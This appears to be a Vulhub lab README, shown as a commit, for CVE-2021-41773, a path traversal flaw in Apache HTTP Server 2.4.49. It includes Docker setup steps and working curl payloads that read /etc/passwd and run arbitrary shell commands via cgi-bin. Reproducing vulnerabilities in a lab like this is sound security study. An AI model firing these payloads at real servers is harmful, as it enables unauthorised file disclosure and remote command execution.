first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,46 @@
# Apache HTTP Server 2.4.49 路径穿越漏洞CVE-2021-41773
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中引入了一个路径穿越漏洞满足下面两个条件的Apache服务器将会受到影响
- 版本等于2.4.49
- 穿越的目录允许被访问,比如配置了`<Directory />Require all granted</Directory>`。(默认情况下是不允许的)
攻击者利用这个漏洞可以读取位于Apache服务器Web目录以外的其他文件或者读取Web目录中的脚本文件源码或者在开启了cgi或cgid的服务器上执行任意命令。
参考链接:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://twitter.com/ptswarm/status/1445376079548624899
- https://twitter.com/HackerGautam/status/1445412108863041544
- https://twitter.com/snyff/status/1445565903161102344
## 漏洞环境
执行如下命令编译及运行一个存在漏洞的Apache HTTPd 2.4.49版本服务器:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到Apache默认的`It works!`页面。
## 漏洞利用
使用如下CURL命令来发送Payload注意其中的`/icons/`必须是一个存在且可访问的目录):
```
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到`/etc/passwd`
![](1.png)
在服务端开启了cgi或cgid这两个mod的情况下这个路径穿越漏洞将可以执行任意命令
```
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
![](2.png)